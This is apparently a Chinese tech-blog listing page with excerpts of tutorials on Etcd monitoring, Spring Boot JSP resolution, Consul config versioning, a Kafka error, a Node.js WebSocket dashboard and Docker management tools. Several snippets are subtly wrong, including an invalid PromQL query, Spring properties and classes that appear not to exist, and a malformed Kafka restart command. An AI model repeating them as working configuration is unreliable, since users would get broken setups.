为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-05-03 13:04:20
560
转载
Etcd
...5s scrape_configs: - job_name: 'etcd' static_configs: - targets: ['localhost:9101'] etcd-exporter监听端口 metrics_path: '/metrics' 同时,编写针对Etcd的Prometheus查询语句,可以让我们洞察集群性能: promql 查询过去5分钟内所有Etcd节点的平均写操作延迟 avg(etcd_request_duration_seconds_bucket{operation="set", le="+Inf"})[5m] 2. 内建诊断工具 etcdctl etcdctl 是官方提供的命令行工具,不仅可以用来与Etcd进行交互(如读写键值对),还内置了一系列诊断命令来排查问题。例如,查看成员列表、检查leader选举状态或执行一致性检查: bash 查看集群当前成员信息 etcdctl member list 检查Etcd的领导者状态 etcdctl endpoint status --write-out=table 执行一次快照以诊断数据完整性 etcdctl snapshot save /path/to/snapshot.db 此外,etcdctl debug 子命令提供了一组调试工具,比如dump.consistent-snap.db可以导出一致性的快照数据,便于进一步分析潜在问题。 3. 日志和跟踪 对于更深层次的问题定位,Etcd的日志输出是必不可少的资源。通过调整日志级别(如设置为debug模式),可以获得详细的内部处理流程。同时,结合分布式追踪系统如Jaeger,可以收集和可视化Etcd调用链路,理解跨节点间的通信延迟和错误来源。 bash 设置etcd日志级别为debug ETCD_DEBUG=true etcd --config-file=/etc/etcd/etcd.conf.yaml 4. 性能调优与压力测试 在了解了基本的监控和诊断手段后,我们还可以利用像etcd-bench这样的工具来进行压力测试,模拟大规模并发读写请求,评估Etcd在极限条件下的性能表现,并据此优化配置参数。 bash 使用etcd-bench进行基准测试 ./etcd-bench -endpoints=localhost:2379 -total=10000 -conns=100 -keys=100 在面对复杂的生产环境时,人类工程师的理解、思考和决策至关重要。用上这些监视和诊断神器,咱们就能化身大侦探,像剥洋葱那样层层深入,把躲藏在集群最旮旯的性能瓶颈和一致性问题给揪出来。这样一来,Etcd就能始终保持稳如磐石、靠谱无比的运行状态啦!记住了啊,老话说得好,“实践出真知”,想要彻底驯服Etcd这匹“分布式系统的千里马”,就得不断地去摸索、试验和改进。只有这样,才能让它在你的系统里跑得飞快,发挥出最大的效能,成为你最得力的助手。
2023-11-29 10:56:26
385
清风徐来
Java
...类(如WebMvcConfig.java或Application.java中的WebMvcConfigurer实现): java @Configuration public class WebMvcConfig implements WebMvcConfigurer { @Override public void configureViewResolvers(ViewResolverRegistry registry) { InternalResourceViewResolver resolver = new InternalResourceViewResolver(); resolver.setPrefix("/WEB-INF/views/"); resolver.setSuffix(".jsp"); registry.viewResolver(resolver); } } 2. 模块间依赖与资源路径映射 确认module-web是否正确引入了module-views的相关JSP文件,并指定了正确的资源路径。查看module-web的pom.xml或build.gradle文件中对视图资源模块的依赖路径: xml com.example module-views 1.0.0 war runtime classes // Gradle dependencies { runtimeOnly 'com.example:module-views:1.0.0' } 以及主启动类(如Application.java)中的静态资源映射配置: java @SpringBootApplication public class Application { @Bean TomcatServletWebServerFactory tomcat() { TomcatServletWebServerFactory factory = new TomcatServletWebServerFactory(); factory.addContextCustomizer((TomcatWebServerContext context) -> { // 将模块视图目录映射到根URL下 context.addWelcomeFile("index.jsp"); WebResourceRoot resourceRoot = new TomcatWebResourceRoot(context, "static", "/"); resourceRoot.addDirectory(new File("src/main/resources/static")); context.setResources(resourceRoot); }); return factory; } public static void main(String[] args) { SpringApplication.run(Application.class, args); } } 3. 检查JSP引擎配置 确保Tomcat服务器配置已启用JSP支持。在module-web对应的application.properties或application.yml文件中配置JSP引擎: properties server.tomcat.jsp-enabled=true server.tomcat.jsp.version=2.3 或者在module-web的pom.xml或build.gradle文件中为Tomcat添加Jasper依赖: xml org.apache.tomcat.embed tomcat-embed-jasper provided // Gradle dependencies { implementation 'org.apache.tomcat.embed:tomcat-embed-jasper:9.0.54' } 4. 控制器与视图名称匹配验证 在完成上述配置后,请务必核实Controller中返回的视图名称与其实际路径是否一致。如果存在命名冲突或者拼写错误,将会导致Spring MVC无法找到预期的JSP视图: java @GetMapping("/home") public String home(Model model) { return "homePage"; // 视图名称应更改为"WEB-INF/views/homePage.jsp" } 四、总结与解决办法 综上所述,Spring Boot返回JSP无效的问题可能源于多个因素的叠加效应,包括但不限于视图解析器配置不完整、模块间依赖关系未正确处理、JSP引擎支持未开启、或Controller与视图名称之间的不对应等。要解决这个问题,需从以上几个方面进行逐一排查和修正。 切记,在面对这类问题时,要保持冷静并耐心地定位问题所在,仔细分析配置文件、源代码和日志输出,才能准确找出症结所在,进而成功解决问题。这不仅让我们实实在在地磨炼了编程功夫,更是让咱们对Spring Boot这家伙的工作内幕有了更深的洞察。这样一来,我们在实际项目中遇到问题时,调试和应对的能力都像坐火箭一样嗖嗖提升啦!
2024-02-17 11:18:11
271
半夏微凉_t
Consul
... /path/to/config-repo.git 2. 编写导出脚本 接下来,编写一个脚本,用于定期从Consul中导出配置文件并推送到Git仓库。这个脚本可以使用Consul的API来获取配置数据。 python import consul import os import subprocess 连接到Consul c = consul.Consul(host='127.0.0.1', port=8500) 获取所有KV对 index, data = c.kv.get('', recurse=True) 创建临时目录 temp_dir = '/tmp/consul-config' if not os.path.exists(temp_dir): os.makedirs(temp_dir) 将数据写入文件 for item in data: key = item['Key'] value = item['Value'].decode('utf-8') file_path = os.path.join(temp_dir, key) os.makedirs(os.path.dirname(file_path), exist_ok=True) with open(file_path, 'w') as f: f.write(value) 提交到Git subprocess.run(['git', '-C', '/path/to/config-repo.git', 'add', '.']) subprocess.run(['git', '-C', '/path/to/config-repo.git', 'commit', '-m', 'Update config from Consul']) subprocess.run(['git', '-C', '/path/to/config-repo.git', 'push']) 3. 设置定时任务 最后,设置一个定时任务(例如使用cron),让它每隔一段时间执行上述脚本。 这种方法的优点在于它可以很好地集成现有的Git工作流程,并且提供了强大的版本控制功能。不过,需要注意的是,它可能需要额外的维护工作,尤其是在处理并发更新时。 方法二:在Consul内部实现版本控制 除了上述方法之外,我们还可以尝试在Consul内部通过自定义逻辑来实现版本控制。这个方法有点儿复杂,但好处是能让你更精准地掌控一切,而且还不用靠外界的那些系统帮忙。 基本思路是: - 使用Consul的KV存储作为主存储区,同时为每个配置项创建一个单独的版本记录。 - 每次更新配置时,不仅更新当前版本,还会保存一份新版本的历史记录。 - 可以通过Consul的查询功能来检索特定版本的配置。 下面是一个简化的Python示例,演示如何使用Consul的API来实现这种逻辑: python import consul import json c = consul.Consul() def update_config(key, new_value, version=None): 如果没有指定版本,则自动生成一个新版本号 if version is None: index, current_version = c.kv.get(key + '/version') version = int(current_version['Value']) + 1 更新当前版本 c.kv.put(key, json.dumps(new_value)) 保存版本记录 c.kv.put(f'{key}/version', str(version)) c.kv.put(f'{key}/history/{version}', json.dumps(new_value)) def get_config_version(key, version=None): if version is None: index, data = c.kv.get(key + '/version') version = int(data['Value']) return c.kv.get(f'{key}/history/{version}')[1]['Value'] 示例:更新配置 update_config('myapp/database', {'host': 'localhost', 'port': 5432}, version=1) 示例:获取特定版本的配置 print(get_config_version('myapp/database', version=1)) 这段代码展示了如何使用Consul的KV API来实现一个简单的版本控制系统。虽然这只是一个非常基础的实现,但它已经足以满足许多场景下的需求。 4. 总结与反思 通过上述两种方法,我们已经看到了如何在Consul中实现配置的版本控制。不管你是想用外部的版本控制系统来管配置,还是打算在Consul里面自己捣鼓一套方案,最重要的是搞清楚你们团队到底需要啥,然后挑个最适合你们的法子干就是了。 在这个过程中,我深刻体会到,技术的选择往往不是孤立的,它总是受到业务需求、团队技能等多种因素的影响。所以啊,在碰到这类问题的时候,咱们得保持个开放的心态,多尝试几种方法,这样才能找到那个最适合的解决之道。 希望这篇文章对你有所帮助,如果你有任何疑问或建议,请随时留言交流。我们一起学习,共同进步!
2024-11-17 16:10:02
27
星辰大海
Kafka
...Kafka配置文件server.properties来实现。以下是一个示例配置,用于延长日志段的保留时间: properties 延长日志段保留时间 log.retention.hours=24 确保在进行任何配置更改后,重启Kafka服务器以使更改生效: bash 重启Kafka服务器 service kafka-server-start.sh config/server.properties 四、最佳实践与预防措施 为了预防“InvalidProducerGroupLogPartitionLogSegmentState”错误的发生,建议采取以下最佳实践: - 定期监控:使用Kafka监控工具(如Kafka Manager)定期检查集群状态,特别是日志清理和存储情况。 - 合理配置:根据实际业务需求合理配置Kafka的参数,如日志清理策略、备份策略等,避免过度清理导致数据丢失。 - 容错机制:设计具有高容错性的生产者和消费者逻辑,能够处理临时网络中断或其他不可预测的错误。 - 定期维护:执行定期的集群健康检查和日志清理任务,及时发现并解决问题。 五、结语 从失败到成长 面对“InvalidProducerGroupLogPartitionLogSegmentState”这样的问题,虽然它可能会带来暂时的困扰,但正是这些挑战促使我们深入理解Kafka的工作机制和最佳实践。哎呀,学着怎么识别问题,然后把它们解决掉,这事儿可真挺有意思的!不仅能让你的电脑或者啥设备运行得更稳当,还不停地长本事,就像个技术侦探一样,对各种情况都能看得透透的。这不是简单地提升技能,简直是开挂啊!记住,每一次挑战都是成长的机会,让我们在技术的道路上不断前行。
2024-08-28 16:00:42
107
春暖花开
NodeJS
...script // server.js const express = require('express'); const app = express(); app.get('/', (req, res) => { res.send('Hello World!'); }); const PORT = process.env.PORT || 3000; app.listen(PORT, () => { console.log(Server is running on port ${PORT}); }); 保存文件后运行 node server.js,然后在浏览器输入 http://localhost:3000,应该能看到 “Hello World!”。到这里,我们的基本框架已经搭好了,是不是感觉还挺容易的? --- 3. 第二步 引入 WebSocket 现在我们有了一个 HTTP 服务,接下来该让 WebSocket 上场了。WebSocket 的好处就是能在浏览器和服务器之间直接搭起一条“高速公路”,不用老是像发短信那样频繁地丢 HTTP 请求过去,省时又高效!为了方便,我们可以直接用 ws 库来实现。 修改 server.js 文件,添加 WebSocket 相关代码: javascript // server.js const express = require('express'); const WebSocket = require('ws'); const app = express(); const wss = new WebSocket.Server({ port: 8080 }); wss.on('connection', (ws) => { console.log('A client connected!'); // 接收来自客户端的消息 ws.on('message', (message) => { console.log(Received message => ${message}); ws.send(You said: ${message}); }); // 当客户端断开时触发 ws.on('close', () => { console.log('Client disconnected.'); }); }); app.get('/', (req, res) => { res.sendFile(__dirname + '/index.html'); }); const PORT = process.env.PORT || 3000; app.listen(PORT, () => { console.log(HTTP Server is running on port ${PORT}); }); 这段代码做了几件事: 1. 创建了一个 WebSocket 服务器,监听端口 8080。 2. 当客户端连接时,打印日志并等待消息。 3. 收到消息后,会回传给客户端。 4. 如果客户端断开连接,也会记录日志。 为了让浏览器能连接到 WebSocket 服务器,我们还需要一个简单的 HTML 页面作为客户端入口: html Real-Time Monitor WebSocket Test Send Message 这段 HTML 代码包含了一个简单的聊天界面,用户可以在输入框中输入内容并通过 WebSocket 发送到服务器,同时也能接收到服务器返回的信息。跑完 node server.js 之后,别忘了打开浏览器,去 http://localhost:3000 看一眼,看看它是不是能正常转起来。 --- 4. 第三步 扩展功能——实时监控数据 现在我们的 WebSocket 已经可以正常工作了,但还不能算是一个真正的监控面板。为了让它更实用一点,咱们不妨假装弄点监控数据玩玩,像CPU用得多不多、内存占了百分之多少之类的。 首先,我们需要一个生成随机监控数据的函数: javascript function generateRandomMetrics() { return { cpuUsage: Math.random() 100, memoryUsage: Math.random() 100, diskUsage: Math.random() 100 }; } 然后,在 WebSocket 连接中定时向客户端推送这些数据: javascript wss.on('connection', (ws) => { console.log('A client connected!'); setInterval(() => { const metrics = generateRandomMetrics(); ws.send(JSON.stringify(metrics)); }, 1000); // 每秒发送一次 ws.on('close', () => { console.log('Client disconnected.'); }); }); 客户端需要解析接收到的数据,并动态更新页面上的信息。我们可以稍微改造一下 HTML 和 JavaScript: html CPU Usage: Memory Usage: Disk Usage: javascript socket.onmessage = (event) => { const metrics = JSON.parse(event.data); document.getElementById('cpuProgress').value = metrics.cpuUsage; document.getElementById('memoryProgress').value = metrics.memoryUsage; document.getElementById('diskProgress').value = metrics.diskUsage; const messagesDiv = document.getElementById('messages'); messagesDiv.innerHTML += Metrics updated. ; }; 这样,每秒钟都会从服务器获取一次监控数据,并在页面上以进度条的形式展示出来。是不是很酷? --- 5. 结尾 总结与展望 通过这篇文章,我们从零开始搭建了一个基于 Node.js 和 WebSocket 的实时监控面板。别看它现在功能挺朴素的,但这东西一出手就让人觉得,WebSocket 在实时互动这块儿真的大有可为啊!嘿,听我说!以后啊,你完全可以接着把这个项目捯饬得更酷一些。比如说,弄点新鲜玩意儿当监控指标,让用户用起来更爽,或者直接把它整到真正的生产环境里去,让它发挥大作用! 其实开发的过程就像拼图一样,有时候你会遇到困难,但只要一点点尝试和调整,总会找到答案。希望这篇文章能给你带来灵感,也欢迎你在评论区分享你的想法和经验! 最后,如果你觉得这篇文章对你有帮助,记得点个赞哦!😄 --- 完
2025-05-06 16:24:48
70
清风徐来
Docker
...烦了!尤其是当你需要部署各种服务、配置环境、监控性能时,简直就像在玩拼图游戏,一不小心就可能把整个系统搞崩。 我之前用过宝塔面板和1panel,它们确实简化了很多操作,但总觉得少了点什么。于是我就开始琢磨:难道就没有更酷炫、更灵活的工具了吗?经过一番研究,我发现了一些非常有趣的服务器管理工具,特别是结合Docker使用后,简直是如虎添翼! 所以今天,咱们就来聊聊这些工具,看看它们能不能成为你心目中的“神器”。 --- 2. Docker 让一切都变得简单 首先,我们得谈谈Docker。Docker是什么?简单来说,它是一种容器化技术,可以让你的应用程序及其依赖项打包成一个独立的“容器”,然后轻松地运行在任何支持Docker的环境中。 举个例子吧,假如你想在一个全新的服务器上安装WordPress,传统方法可能是手动下载PHP、MySQL、Nginx等一堆软件,再逐一配置。而如果你用Docker,只需要一条命令就能搞定: bash docker run --name wordpress -d -p 80:80 \ -v /path/to/wordpress:/var/www/html \ -e WORDPRESS_DB_HOST=db \ -e WORDPRESS_DB_USER=root \ -e WORDPRESS_DB_PASSWORD=yourpassword \ wordpress 这段代码的意思是:启动一个名为wordpress的容器,并将本地目录/path/to/wordpress挂载到容器内的/var/www/html路径下,同时设置数据库连接信息。是不是比传统的安装方式简洁多了? 不过,单独使用Docker虽然强大,但对于不熟悉命令行的人来说还是有点门槛。这时候就需要一些辅助工具来帮助我们更好地管理和调度容器了。 --- 3. Portainer 可视化管理Docker的好帮手 Portainer绝对是我最近发现的一颗“宝藏”。它的界面非常直观,几乎不需要学习成本。不管是想看看现有的容器啥情况,还是想启动新的容器,甚至连网络和卷的管理,都只需要动动鼠标拖一拖、点一点就行啦! 比如,如果你想快速创建一个新的MySQL容器,只需要打开Portainer的Web界面,点击“Add Container”,然后填写几个基本信息即可: yaml image: mysql:5.7 name: my-mysql ports: - "3306:3306" volumes: - /data/mysql:/var/lib/mysql environment: MYSQL_ROOT_PASSWORD: rootpassword 这段YAML配置文件描述了一个MySQL容器的基本参数。Portainer会自动帮你解析并生成对应的Docker命令。是不是超方便? 另外,Portainer还有一个特别棒的功能——实时监控。你打开页面就能看到每个“小房子”(就是容器)里用掉的CPU和内存情况,而且还能像穿越空间一样,去访问别的机器上跑着的那些“小房子”(Docker实例)。这种功能对于运维人员来说简直是福音! --- 4. Rancher 企业级的容器编排利器 如果你是一个团队协作的开发者,或者正在运营一个大规模的服务集群,那么Rancher可能是你的最佳选择。它不仅仅是一个Docker管理工具,更是一个完整的容器编排平台。 Rancher的核心优势在于它的“多集群管理”能力。想象一下,你的公司有好几台服务器,分别放在地球上的不同角落,有的在美国,有的在欧洲,还有的在中国。每台服务器上都跑着各种各样的服务,比如网站、数据库啥的。这时候,Rancher就派上用场了!它就像一个超级贴心的小管家,让你不用到处切换界面,在一个地方就能轻松搞定所有服务器和服务的管理工作,省时又省力! 举个例子,如果你想在Rancher中添加一个新的节点,只需要几步操作即可完成: 1. 登录Rancher控制台。 2. 点击“Add Cluster”按钮。 3. 输入目标节点的信息(IP地址、SSH密钥等)。 4. 等待几分钟,Rancher会自动为你安装必要的组件。 一旦节点加入成功,你就可以直接在这个界面上部署应用了。比如,用Kubernetes部署一个Redis集群: bash kubectl create deployment redis --image=redis:alpine kubectl expose deployment redis --type=LoadBalancer --port=6379 虽然这条命令看起来很简单,但它背后实际上涉及到了复杂的调度逻辑和网络配置。而Rancher把这些复杂的事情封装得很好,让我们可以专注于业务本身。 --- 5. Traefik 反向代理与负载均衡的最佳拍档 最后要介绍的是Traefik,这是一个轻量级的反向代理工具,专门用来处理HTTP请求的转发和负载均衡。它最厉害的地方啊,就是能跟Docker完美地融为一体,还能根据容器上的标签,自动调整路由规则呢! 比如说,你有两个服务分别监听在8080和8081端口,现在想通过一个域名访问它们。只需要给这两个容器加上相应的标签: yaml labels: - "traefik.enable=true" - "traefik.http.routers.service1.rule=Host(service1.example.com)" - "traefik.http.services.service1.loadbalancer.server.port=8080" - "traefik.http.routers.service2.rule=Host(service2.example.com)" - "traefik.http.services.service2.loadbalancer.server.port=8081" 这样一来,当用户访问service1.example.com时,Traefik会自动将请求转发到监听8080端口的容器;而访问service2.example.com则会指向8081端口。这种方式不仅高效,还极大地减少了配置的工作量。 --- 6. 总结 找到最适合自己的工具 好了,到这里咱们已经聊了不少关于服务器管理工具的话题。从Docker到Portainer,再到Rancher和Traefik,每一种工具都有其独特的优势和适用场景。 我的建议是,先根据自己的需求确定重点。要是你只想弄个小玩意儿,图个省事儿快点搞起来,那用Docker配个Portainer就完全够用了。但要是你们团队一起干活儿,或者要做大范围的部署,那Rancher这种专业的“老司机工具”就得安排上啦! 当然啦,技术的世界永远没有绝对的答案。其实啊,很多时候你会发现,最适合你的工具不一定是最火的那个,而是那个最合你心意、用起来最顺手的。就像穿鞋一样,别人觉得好看的根本不合脚,而那双不起眼的小众款却让你走得又稳又舒服!所以啊,在用这些工具的时候,别光顾着看,得多动手试试,边用边记下自己的感受和想法,这样你才能真的搞懂它们到底有啥门道! 好了,今天的分享就到这里啦!如果你还有什么问题或者想法,欢迎随时留言交流哦~咱们下次再见啦!
2025-04-16 16:05:13
97
月影清风_
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
ln -s source_file target_symlink
- 创建软链接(符号链接)。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"